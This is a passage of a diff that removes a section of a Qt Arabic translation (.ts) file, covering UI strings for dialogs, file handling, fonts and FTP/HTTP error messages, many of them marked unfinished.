- <location line="+243"/>
- <source>Unable to execute statement</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-206"/>
- <source>Unable to prepare statement</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+196"/>
- <source>Unable to bind variable</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+92"/>
- <source>Unable to fetch record %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+17"/>
- <source>Unable to fetch next</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+20"/>
- <source>Unable to fetch first</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QDateTimeEdit</name>
- <message>
- <location filename="../src/gui/widgets/qdatetimeedit.cpp" line="+2295"/>
- <source>AM</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+0"/>
- <source>am</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+2"/>
- <source>PM</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+0"/>
- <source>pm</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QDial</name>
- <message>
- <location filename="../src/plugins/accessible/widgets/rangecontrols.cpp" line="+951"/>
- <source>QDial</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+2"/>
- <source>SpeedoMeter</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+2"/>
- <source>SliderHandle</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QDialog</name>
- <message>
- <location filename="../src/gui/dialogs/qdialog.cpp" line="+597"/>
- <source>What&apos;s This?</source>
- <translation>ما هذا؟</translation>
- </message>
- <message>
- <location line="-115"/>
- <source>Done</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QDialogButtonBox</name>
- <message>
- <location filename="../src/gui/dialogs/qmessagebox.cpp" line="+1866"/>
- <location line="+464"/>
- <location filename="../src/gui/widgets/qdialogbuttonbox.cpp" line="+561"/>
- <source>OK</source>
- <translation type="unfinished">موافقة</translation>
- </message>
- <message>
- <location filename="../src/gui/widgets/qdialogbuttonbox.cpp" line="+3"/>
- <source>Save</source>
- <translation type="unfinished">حفظ</translation>
- </message>
- <message>
- <location line="+0"/>
- <source>&amp;Save</source>
- <translation type="unfinished">&amp;حفظ</translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Open</source>
- <translation type="unfinished">فتح</translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Cancel</source>
- <translation type="unfinished">إلغاء</translation>
- </message>
- <message>
- <location line="+0"/>
- <source>&amp;Cancel</source>
- <translation type="unfinished">&amp;إلغاء</translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Close</source>
- <translation type="unfinished">إغلاق</translation>
- </message>
- <message>
- <location line="+0"/>
- <source>&amp;Close</source>
- <translation type="unfinished">إ&amp;غلاق</translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Apply</source>
- <translation type="unfinished">تطبيق</translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Reset</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Help</source>
- <translation type="unfinished">مساعدة</translation>
- </message>
- <message>
- <location line="+4"/>
- <source>Don&apos;t Save</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+4"/>
- <source>Discard</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>&amp;Yes</source>
- <translation type="unfinished">&amp;نعم</translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Yes to &amp;All</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>&amp;No</source>
- <translation type="unfinished">&amp;لا</translation>
- </message>
- <message>
- <location line="+3"/>
- <source>N&amp;o to All</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Save All</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Abort</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Retry</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Ignore</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Restore Defaults</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-29"/>
- <source>Close without Saving</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-27"/>
- <source>&amp;OK</source>
- <translation type="unfinished">&amp;موافقة</translation>
- </message>
-</context>
-<context>
- <name>QDirModel</name>
- <message>
- <location filename="../src/gui/itemviews/qdirmodel.cpp" line="+453"/>
- <source>Name</source>
- <translation type="unfinished">الإسم</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Size</source>
- <translation type="unfinished">السّعة</translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Kind</source>
- <comment>Match OS X Finder</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Type</source>
- <comment>All other platforms</comment>
- <translation type="unfinished">الطّراز</translation>
- </message>
- <message>
- <location line="+6"/>
- <source>Date Modified</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QDockWidget</name>
- <message>
- <location filename="../src/plugins/accessible/widgets/qaccessiblewidgets.cpp" line="+1239"/>
- <source>Close</source>
- <translation type="unfinished">إغلاق</translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Dock</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Float</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QDoubleSpinBox</name>
- <message>
- <location filename="../src/plugins/accessible/widgets/rangecontrols.cpp" line="-537"/>
- <source>More</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Less</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QErrorMessage</name>
- <message>
- <location filename="../src/gui/dialogs/qerrormessage.cpp" line="+391"/>
- <source>&amp;Show this message again</source>
- <translation>أ&amp;عرض مجدّداهذاالبلاغ</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>&amp;OK</source>
- <translation>&amp;موافقة</translation>
- </message>
- <message>
- <location line="-200"/>
- <source>Debug Message:</source>
- <translation>بلاغ تصحيح الأخطاء:</translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Warning:</source>
- <translation>إنذار:</translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Fatal Error:</source>
- <translation>خطأ قاتل:</translation>
- </message>
-</context>
-<context>
- <name>QFile</name>
- <message>
- <location filename="../src/corelib/io/qfile.cpp" line="+708"/>
- <location line="+141"/>
- <source>Destination file exists</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-108"/>
- <source>Cannot remove source file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+120"/>
- <source>Cannot open %1 for input</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+17"/>
- <source>Cannot open for output</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+10"/>
- <source>Failure to write block</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+13"/>
- <source>Cannot create %1 for output</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QFileDialog</name>
- <message>
- <location filename="../src/gui/dialogs/qfiledialog.cpp" line="+515"/>
- <location line="+444"/>
- <source>All Files (*)</source>
- <translation>جميع الملفّات (*)</translation>
- </message>
- <message>
- <location filename="../src/gui/dialogs/qfiledialog.ui"/>
- <location filename="../src/gui/dialogs/qfiledialog_wince.ui"/>
- <source>Back</source>
- <translation type="unfinished">رجوع</translation>
- </message>
- <message>
- <location/>
- <location filename="../src/gui/dialogs/qfiledialog_wince.ui"/>
- <source>List View</source>
- <translation type="unfinished">معاينة بالقائمة</translation>
- </message>
- <message>
- <location/>
- <location filename="../src/gui/dialogs/qfiledialog_wince.ui"/>
- <source>Detail View</source>
- <translation type="unfinished">معاينة مفصّلة</translation>
- </message>
- <message>
- <location filename="../src/gui/itemviews/qfileiconprovider.cpp" line="+414"/>
- <location line="+1"/>
- <source>File</source>
- <translation type="unfinished">ملفّ</translation>
- </message>
- <message>
- <location filename="../src/gui/dialogs/qfiledialog.cpp" line="-461"/>
- <source>Open</source>
- <translation>فتح</translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Save As</source>
- <translation type="unfinished">حفظ تحت</translation>
- </message>
- <message>
- <location line="+678"/>
- <location line="+50"/>
- <location line="+1471"/>
- <location line="+75"/>
- <source>&amp;Open</source>
- <translation>&amp;فتح</translation>
- </message>
- <message>
- <location line="-1596"/>
- <location line="+50"/>
- <source>&amp;Save</source>
- <translation>&amp;حفظ</translation>
- </message>
- <message>
- <location line="+1822"/>
- <source>Recent Places</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-2521"/>
- <source>&amp;Rename</source>
- <translation type="unfinished">ت&amp;غيير الإسم</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>&amp;Delete</source>
- <translation type="unfinished">ح&amp;ذف</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Show &amp;hidden files</source>
- <translation type="unfinished">ع&amp;رض الملفّات المخفية</translation>
- </message>
- <message>
- <location line="+1964"/>
- <source>New Folder</source>
- <translation type="unfinished">دليل جديد</translation>
- </message>
- <message>
- <location line="-1999"/>
- <source>Find Directory</source>
- <translation type="unfinished">إيجاد الدّليل</translation>
- </message>
- <message>
- <location line="+685"/>
- <source>Directories</source>
- <translation>دلائل</translation>
- </message>
- <message>
- <location filename="../src/gui/dialogs/qfiledialog_win.cpp" line="+160"/>
- <source>All Files (*.*)</source>
- <translation type="unfinished">جميع الملفّات (*.*)</translation>
- </message>
- <message>
- <location filename="../src/gui/dialogs/qfiledialog.cpp" line="-644"/>
- <location line="+648"/>
- <source>Directory:</source>
- <translation type="unfinished">دليل:</translation>
- </message>
- <message>
- <location line="+828"/>
- <source>%1 already exists.
-Do you want to replace it?</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+20"/>
- <source>%1
-File not found.
-Please verify the correct file name was given.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/gui/itemviews/qdirmodel.cpp" line="+402"/>
- <source>My Computer</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/gui/dialogs/qfiledialog.ui"/>
- <location filename="../src/gui/dialogs/qfiledialog_wince.ui"/>
- <source>Parent Directory</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location/>
- <location filename="../src/gui/dialogs/qfiledialog_wince.ui"/>
- <source>Files of type:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/gui/dialogs/qfiledialog.cpp" line="-54"/>
- <location line="+862"/>
- <source>%1
-Directory not found.
-Please verify the correct directory name was given.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-218"/>
- <source>&apos;%1&apos; is write protected.
-Do you want to delete it anyway?</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+5"/>
- <source>Are sure you want to delete &apos;%1&apos;?</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+15"/>
- <source>Could not delete directory.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/gui/itemviews/qfileiconprovider.cpp" line="-4"/>
- <source>Drive</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+33"/>
- <source>Unknown</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/gui/dialogs/qfiledialog.cpp" line="-2118"/>
- <source>Show </source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/gui/dialogs/qfiledialog.ui"/>
- <location filename="../src/gui/dialogs/qfiledialog_wince.ui"/>
- <source>Forward</source>
- <translation type="unfinished">للأمام</translation>
- </message>
- <message>
- <location filename="../src/gui/dialogs/qfiledialog.cpp" line="+7"/>
- <source>&amp;New Folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+656"/>
- <location line="+38"/>
- <source>&amp;Choose</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/gui/dialogs/qsidebar.cpp" line="+418"/>
- <source>Remove</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/gui/dialogs/qfiledialog.cpp" line="-687"/>
- <location line="+652"/>
- <source>File &amp;name:</source>
- <translation type="unfinished">إ&amp;سم الملفّ:</translation>
- </message>
- <message>
- <location filename="../src/gui/dialogs/qfiledialog.ui"/>
- <location filename="../src/gui/dialogs/qfiledialog_wince.ui"/>
- <source>Look in:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location/>
- <location filename="../src/gui/dialogs/qfiledialog_wince.ui"/>
- <source>Create New Folder</source>
- <translation type="unfinished">صنع دليل جديد</translation>
- </message>
-</context>
-<context>
- <name>QFileSystemModel</name>
- <message>
- <location filename="../src/gui/dialogs/qfilesystemmodel.cpp" line="+744"/>
- <source>%1 TB</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+2"/>
- <source>%1 GB</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+2"/>
- <source>%1 MB</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+2"/>
- <source>%1 KB</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>%1 bytes</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+77"/>
- <source>Invalid filename</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+1"/>
- <source>&lt;b&gt;The name &quot;%1&quot; can not be used.&lt;/b&gt;&lt;p&gt;Try using another name, with fewer characters or no punctuations marks.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+63"/>
- <source>Name</source>
- <translation type="unfinished">الإسم</translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Size</source>
- <translation type="unfinished">السّعة</translation>
- </message>
- <message>
- <location line="+4"/>
- <source>Kind</source>
- <comment>Match OS X Finder</comment>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Type</source>
- <comment>All other platforms</comment>
- <translation type="unfinished">الطّراز</translation>
- </message>
- <message>
- <location line="+7"/>
- <source>Date Modified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/gui/dialogs/qfilesystemmodel_p.h" line="+234"/>
- <source>My Computer</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+2"/>
- <source>Computer</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QFontDatabase</name>
- <message>
- <location filename="../src/gui/text/qfontdatabase.cpp" line="+90"/>
- <location line="+1176"/>
- <source>Normal</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-1173"/>
- <location line="+12"/>
- <location line="+1149"/>
- <source>Bold</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-1158"/>
- <location line="+1160"/>
- <source>Demi Bold</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-1157"/>
- <location line="+18"/>
- <location line="+1135"/>
- <source>Black</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-1145"/>
- <source>Demi</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+6"/>
- <location line="+1145"/>
- <source>Light</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-1004"/>
- <location line="+1007"/>
- <source>Italic</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-1004"/>
- <location line="+1006"/>
- <source>Oblique</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+705"/>
- <source>Any</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Latin</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Greek</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Cyrillic</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Armenian</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Hebrew</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Arabic</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Syriac</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Thaana</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Devanagari</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Bengali</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Gurmukhi</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Gujarati</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Oriya</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Tamil</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Telugu</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Kannada</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Malayalam</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Sinhala</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Thai</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Lao</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Tibetan</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Myanmar</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Georgian</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Khmer</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Simplified Chinese</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Traditional Chinese</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Japanese</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Korean</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Vietnamese</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Symbol</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Ogham</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Runic</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QFontDialog</name>
- <message>
- <location filename="../src/gui/dialogs/qfontdialog.cpp" line="+772"/>
- <source>&amp;Font</source>
- <translation>ال&amp;خطّ</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Font st&amp;yle</source>
- <translation>&amp;طراز الخطّ</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>&amp;Size</source>
- <translation>ال&amp;حجم</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Effects</source>
- <translation>تأثيرات</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Stri&amp;keout</source>
- <translation>ت&amp;شطيب</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>&amp;Underline</source>
- <translation>ت&amp;سطير</translation>
- </message>
- <message>
- <location line="+1"/>
- <source>Sample</source>
- <translation>عيّنة</translation>
- </message>
- <message>
- <location line="-603"/>
- <location line="+247"/>
- <source>Select Font</source>
- <translation>انتقاء الخطّ</translation>
- </message>
- <message>
- <location line="+357"/>
- <source>Wr&amp;iting System</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QFtp</name>
- <message>
- <location filename="../src/qt3support/network/q3ftp.cpp" line="+2303"/>
- <source>Host %1 found</source>
- <translation type="unfinished">تمّ إيجاد المضيف %1</translation>
- </message>
- <message>
- <location line="+7"/>
- <source>Host found</source>
- <translation type="unfinished">تمّ إيجاد المضيف</translation>
- </message>
- <message>
- <location filename="../src/network/access/qftp.cpp" line="+1003"/>
- <location filename="../src/qt3support/network/q3ftp.cpp" line="-1456"/>
- <location line="+1451"/>
- <source>Connected to host %1</source>
- <translation>تمّ وصل المضيف %1</translation>
- </message>
- <message>
- <location filename="../src/qt3support/network/q3ftp.cpp" line="+7"/>
- <source>Connected to host</source>
- <translation type="unfinished">تمّ وصل المضيف</translation>
- </message>
- <message>
- <location line="-5"/>
- <source>Connection to %1 closed</source>
- <translation type="unfinished">تمّ إغلاق الوصل بالمضيف %1</translation>
- </message>
- <message>
- <location filename="../src/network/access/qftp.cpp" line="+1375"/>
- <location filename="../src/qt3support/network/q3ftp.cpp" line="-243"/>
- <location line="+250"/>
- <source>Connection closed</source>
- <translation>وصل مغلق</translation>
- </message>
- <message>
- <location line="-1487"/>
- <location filename="../src/qt3support/network/q3ftp.cpp" line="-1566"/>
- <source>Host %1 not found</source>
- <translation>لم يتمّ إيجاد المضيف %1</translation>
- </message>
- <message>
- <location line="+4"/>
- <location filename="../src/qt3support/network/q3ftp.cpp" line="+4"/>
- <source>Connection refused to host %1</source>
- <translation>رفض الوصل بالمضيف %1</translation>
- </message>
- <message>
- <location line="+4"/>
- <source>Connection timed out to host %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+501"/>
- <location line="+29"/>
- <location filename="../src/qt3support/network/q3ftp.cpp" line="+458"/>
- <location line="+728"/>
- <source>Unknown error</source>
- <translation>خطأ مجهول</translation>
- </message>
- <message>
- <location line="+889"/>
- <location filename="../src/qt3support/network/q3ftp.cpp" line="+77"/>
- <source>Connecting to host failed:
-%1</source>
- <translation>فشل وصل المضيف:
-%1</translation>
- </message>
- <message>
- <location line="+4"/>
- <location filename="../src/qt3support/network/q3ftp.cpp" line="+3"/>
- <source>Login failed:
-%1</source>
- <translation>فشل التّسجيل:
-%1</translation>
- </message>
- <message>
- <location line="+4"/>
- <location filename="../src/qt3support/network/q3ftp.cpp" line="+3"/>
- <source>Listing directory failed:
-%1</source>
- <translation>فشلت عمليّة وضع قائمة للدّليل:
-%1</translation>
- </message>
- <message>
- <location line="+4"/>
- <location filename="../src/qt3support/network/q3ftp.cpp" line="+3"/>
- <source>Changing directory failed:
-%1</source>
- <translation>فشلت عمليّة تغيير الدّليل:
-%1</translation>
- </message>
- <message>
- <location line="+4"/>
- <location filename="../src/qt3support/network/q3ftp.cpp" line="+3"/>
- <source>Downloading file failed:
-%1</source>
- <translation>فشلت عمليّة تحميل الملفّ:
-%1</translation>
- </message>
- <message>
- <location line="+4"/>
- <location filename="../src/qt3support/network/q3ftp.cpp" line="+3"/>
- <source>Uploading file failed:
-%1</source>
- <translation>فشلت عمليّة تحميل (بعث) الملفّ:
-%1</translation>
- </message>
- <message>
- <location line="+4"/>
- <location filename="../src/qt3support/network/q3ftp.cpp" line="+3"/>
- <source>Removing file failed:
-%1</source>
- <translation>فشلت عمليّة نزع الملفّ:
-%1</translation>
- </message>
- <message>
- <location line="+4"/>
- <location filename="../src/qt3support/network/q3ftp.cpp" line="+3"/>
- <source>Creating directory failed:
-%1</source>
- <translation>فشلت عمليّة صنع الدّليل:
-%1</translation>
- </message>
- <message>
- <location line="+4"/>
- <location filename="../src/qt3support/network/q3ftp.cpp" line="+3"/>
- <source>Removing directory failed:
-%1</source>
- <translation>فشلت عمليّة نزع الدّليل:
-%1</translation>
- </message>
- <message>
- <location line="-1524"/>
- <location filename="../src/qt3support/network/q3ftp.cpp" line="-1356"/>
- <source>Not connected</source>
- <translation>غير متصّل</translation>
- </message>
- <message>
- <location line="+396"/>
- <location filename="../src/qt3support/network/q3ftp.cpp" line="+332"/>
- <source>Connection refused for data connection</source>
- <translation>رفض وصل المعطيات</translation>
- </message>
-</context>
-<context>
- <name>QHostInfo</name>
- <message>
- <location filename="../src/network/kernel/qhostinfo_p.h" line="+183"/>
- <source>Unknown error</source>
- <translation type="unfinished">خطأ مجهول</translation>
- </message>
-</context>
-<context>
- <name>QHostInfoAgent</name>
- <message>
- <location filename="../src/network/kernel/qhostinfo_unix.cpp" line="+178"/>
- <location line="+9"/>
- <location line="+64"/>
- <location line="+31"/>
- <location filename="../src/network/kernel/qhostinfo_win.cpp" line="+180"/>
- <location line="+9"/>
- <location line="+40"/>
- <location line="+27"/>
- <source>Host not found</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-44"/>
- <location line="+39"/>
- <location filename="../src/network/kernel/qhostinfo_win.cpp" line="-34"/>
- <location line="+29"/>
- <source>Unknown address type</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+8"/>
- <location filename="../src/network/kernel/qhostinfo_win.cpp" line="-19"/>
- <location line="+27"/>
- <source>Unknown error</source>
- <translation type="unfinished">خطأ مجهول</translation>
- </message>
-</context>
-<context>
- <name>QHttp</name>
- <message>
- <location filename="../src/network/access/qhttpnetworkconnection.cpp" line="+876"/>
- <location filename="../src/qt3support/network/q3http.cpp" line="+1836"/>
- <source>Connection refused</source>
- <translation>رفض الوصل</translation>
- </message>
- <message>
- <location filename="../src/network/access/qhttp.cpp" line="+2631"/>
- <location filename="../src/network/access/qhttpnetworkconnection.cpp" line="-4"/>
- <location filename="../src/qt3support/network/q3http.cpp" line="+3"/>
- <source>Host %1 not found</source>
- <translation>لم يتمّ إيجاد المضيف %1</translation>
- </message>
- <message>
- <location line="-62"/>
- <location filename="../src/qt3support/network/q3http.cpp" line="-45"/>
- <source>Wrong content length</source>
- <translation>طول المحتوى خاطئ</translation>
- </message>
- <message>
- <location line="-2204"/>
- <source>HTTPS connection requested but SSL support not compiled in</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+2286"/>
- <location filename="../src/network/access/qhttpnetworkconnection.cpp" line="+10"/>
- <location line="+19"/>
- <location filename="../src/qt3support/network/q3http.cpp" line="+48"/>
- <source>HTTP request failed</source>
- <translation>فشل طلب الHTTP</translation>
- </message>
- <message>
- <location filename="../src/qt3support/network/q3http.cpp" line="+450"/>
- <source>Host %1 found</source>
- <translation type="unfinished">تمّ إيجاد المضيف %1</translation>
- </message>
- <message>
- <location line="+14"/>
- <source>Host found</source>
- <translation type="unfinished">تمّ إيجاد المضيف</translation>
- </message>
- <message>
- <location line="-11"/>
- <source>Connected to host %1</source>
- <translation type="unfinished">تمّ وصل المضيف %1</translation>
- </message>
- <message>
- <location line="+14"/>
- <source>Connected to host</source>
- <translation type="unfinished">تمّ وصل المضيف</translation>
- </message>
- <message>
- <location line="-11"/>
- <source>Connection to %1 closed</source>
- <translation type="unfinished">تمّ إغلاق الوصل بالمضيف %1</translation>
- </message>
- <message>
- <location filename="../src/network/access/qhttpnetworkconnection.cpp" line="-22"/>
- <location filename="../src/qt3support/network/q3http.cpp" line="+14"/>
- <source>Connection closed</source>
- <translation type="unfinished">وصل مغلق</translation>
- </message>
- <message>
- <location filename="../src/network/access/qhttp.cpp" line="-1077"/>
- <location line="+820"/>
- <location filename="../src/qt3support/network/q3http.cpp" line="-1152"/>
- <location line="+567"/>
- <source>Unknown error</source>
- <translation>خطأ مجهول</translation>
- </message>
- <message>
- <location line="-568"/>
- <location filename="../src/qt3support/network/q3http.cpp" line="-370"/>
- <source>Request aborted</source>
- <translation>تمّ إبطال الطّلب</translation>
- </message>
- <message>
- <location line="+579"/>
- <location filename="../src/qt3support/network/q3http.cpp" line="+381"/>
- <source>No server set to connect to</source>
- <translation>ليس هناك أيّ خادم للوصل</translation>
- </message>
- <message>
- <location line="+168"/>
- <location filename="../src/qt3support/network/q3http.cpp" line="+60"/>
- <source>Server closed connection unexpectedly</source>
- <translation>الخادم أغلق الوصل بصفة غير متوقّعة</translation>
- </message>
- <message>
- <location line="+151"/>
- <location filename="../src/qt3support/network/q3http.cpp" line="+113"/>
- <source>Invalid HTTP response header</source>
- <translation>صديرة استجابة الHTTP غير صالحة</translation>
- </message>
- <message>
- <location line="+28"/>
- <source>Unknown authentication method</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+97"/>
- <location line="+48"/>
- <location filename="../src/qt3support/network/q3http.cpp" line="+40"/>
- <location line="+47"/>
- <source>Invalid HTTP chunked body</source>
- <translation>مقطع HTTP غير صالح</translation>
- </message>
- <message>
- <location line="+38"/>
- <source>Error writing response to device</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-173"/>
- <source>Proxy authentication required</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+4"/>
- <source>Authentication required</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="-138"/>
- <source>Connection refused (or timed out)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../src/network/access/qhttpnetworkconnection.cpp" line="+6"/>
- <source>Proxy requires authentication</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Host requires authentication</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Data corrupted</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>Unknown protocol specified</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location line="+3"/>
- <source>SSL handshake failed</source>
- <translation type="unfinished"></translation>
- </message>
-</context>
-<context>
- <name>QHttpSocketEngine</name>
- <message>
